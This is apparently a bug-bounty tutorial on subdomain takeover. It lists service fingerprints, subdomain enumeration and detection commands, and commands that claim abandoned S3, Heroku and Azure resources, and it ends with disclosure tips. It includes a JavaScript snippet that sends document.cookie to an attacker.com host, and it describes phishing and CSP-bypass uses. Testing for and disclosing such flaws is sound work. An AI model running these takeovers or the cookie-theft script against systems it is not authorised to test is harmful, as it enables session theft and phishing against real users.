Subdomain Takeover: Finding and Exploiting Dangling DNS Records
Subdomain takeover occurs when a DNS record (usually a CNAME) points to an external service that has been deprovisioned, but the DNS record was never removed. An attacker who claims that external service now controls what the subdomain serves. This can enable phishing, cookie theft, and content injection under a trusted domain.
How Subdomain Takeover Works
| Service | Fingerprint | Severity | Takeover Method | Difficulty |
|---|---|---|---|---|
| GitHub Pages | "There isn't a GitHub Pages site here" | High | Create matching repo | Easy |
| Heroku | "No such app" | High | heroku create with matching name | Easy |
| Fastly | "Fastly error: unknown domain" | High | Add domain to Fastly account | Medium |
| AWS S3 | "NoSuchBucket" | Critical | Create matching S3 bucket | Easy |
| Azure | "404 Web Site not found" | High | Create matching Azure resource | Medium |
| Shopify | "Sorry, this shop is currently unavailable" | Medium | Create Shopify store | Medium |
| Zendesk | "Help Center Closed" | Medium | Create Zendesk account | Medium |
The lifecycle of a vulnerable subdomain:
- Company creates
staging.company.com CNAME staging-app.herokuapp.com - They later delete the Heroku app but forget to remove the DNS record
- The CNAME still points to
staging-app.herokuapp.combut no app is registered there - Attacker registers
staging-app.herokuapp.comon their Heroku account - Now controls
staging.company.com— cookies from*.company.comare accessible
Reconnaissance: Finding Dangling Records
Manual DNS Enumeration
# Enumerate subdomains with subfinder
subfinder -d target.com -o subdomains.txt
# Check each CNAME for dangling records
cat subdomains.txt | while read sub; do
cname=$(dig +short CNAME $sub)
if [ -n "$cname" ]; then
echo "$sub -> $cname"
# Check if CNAME resolves
dig +short $cname | grep -q "." || echo "DANGLING: $sub -> $cname"
fi
done
Using subjack
# Install and run subjack
go install github.com/haccer/subjack@latest
subjack -w subdomains.txt -t 100 -timeout 30 -o results.txt -ssl -c ~/go/src/github.com/haccer/subjack/fingerprints.json
Using nuclei for Takeover Detection
# Run nuclei subdomain takeover templates
nuclei -l subdomains.txt -t takeovers/ -o takeover-results.txt
# Update templates first
nuclei -update-templates
Using the Subdomain Wordlist Generator
Generate comprehensive subdomain wordlists for brute-forcing with our Subdomain Wordlist Generator, which includes environment prefixes, common service names, and technology-specific patterns.
Vulnerable Services and Fingerprints
AWS S3
Fingerprint: The specified bucket does not exist or NoSuchBucket
# CNAME points to: bucket-name.s3.amazonaws.com
# Check for dangling:
curl -s https://subdomain.target.com/ | grep -i "NoSuchBucket\|bucket does not exist"
# Exploitation: Create the bucket in your AWS account
aws s3api create-bucket --bucket bucket-name --region us-east-1
GitHub Pages
Fingerprint: There isn't a GitHub Pages site here
# CNAME points to: username.github.io
# Exploitation: Create a GitHub repo named username.github.io
# (or the specific repo it was pointing to) with gh-pages branch
Heroku
Fingerprint: No such app
# CNAME points to: appname.herokuapp.com
# Exploitation:
heroku create appname
# Then add custom domain:
heroku domains:add subdomain.target.com -a appname
Azure / Microsoft
Fingerprint: 404 Web Site not found on azurewebsites.net or cloudapp.net
# CNAME points to: appname.azurewebsites.net
# Create the Azure Web App with the same name
az webapp create --name appname --resource-group myRG --plan myPlan
Netlify
Fingerprint: Not Found - Request ID:
# CNAME points to: sitename.netlify.app
# Create a Netlify site with the same subdomain
Other Vulnerable Services
- Fastly:
Fastly error: unknown domain - Ghost:
The thing you were looking for is no longer here - Shopify:
Sorry, this shop is currently unavailable - Zendesk:
Help Center Closed - Tumblr:
Whatever you were looking for doesn't currently exist at this address - Cargo:
If you're moving your domain away from Cargo you must make this configuration through your registrar
Exploitation and Impact
Cookie Theft via Subdomain
If the application sets cookies with Domain=.company.com, controlling any subdomain gives access to those cookies in JavaScript:
<script>
// Running on staging.company.com (taken over)
// Can read cookies set with domain=.company.com
fetch('https://attacker.com/steal?c=' + document.cookie);
</script>
Phishing Under Trusted Domain
Serve a convincing login page under the company's trusted domain. SSL certificate is automatically issued by most platforms, so there's a valid HTTPS padlock.
Content Security Policy Bypass
If the main application's CSP whitelists *.company.com, a taken-over subdomain can be used to host malicious scripts that bypass CSP and achieve XSS on the main domain.
Automating the Workflow
#!/bin/bash
# Full subdomain takeover pipeline
TARGET=$1
# Step 1: Enumerate subdomains
subfinder -d $TARGET -silent | tee /tmp/subs.txt
amass enum -passive -d $TARGET | tee -a /tmp/subs.txt
sort -u /tmp/subs.txt > /tmp/unique_subs.txt
# Step 2: Check for takeover
nuclei -l /tmp/unique_subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt
# Step 3: Check CNAME chains
cat /tmp/unique_subs.txt | dnsx -cname -resp -o /tmp/cnames.txt
Responsible Disclosure Tips
- Claim the subdomain to prove impact, but serve a benign proof page only
- Never use a taken-over subdomain for phishing or data collection
- Document the CNAME chain and the claim process in your report
- Include screenshots of DNS resolution and the claimed service
- Report immediately and release the claim once acknowledged
Subdomain enumeration feeds into broader recon workflows. The Subdomain Wordlist Generator helps with brute-force discovery. For escalating access once a takeover is achieved, combining with XSS techniques maximizes impact in bug bounty reports.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides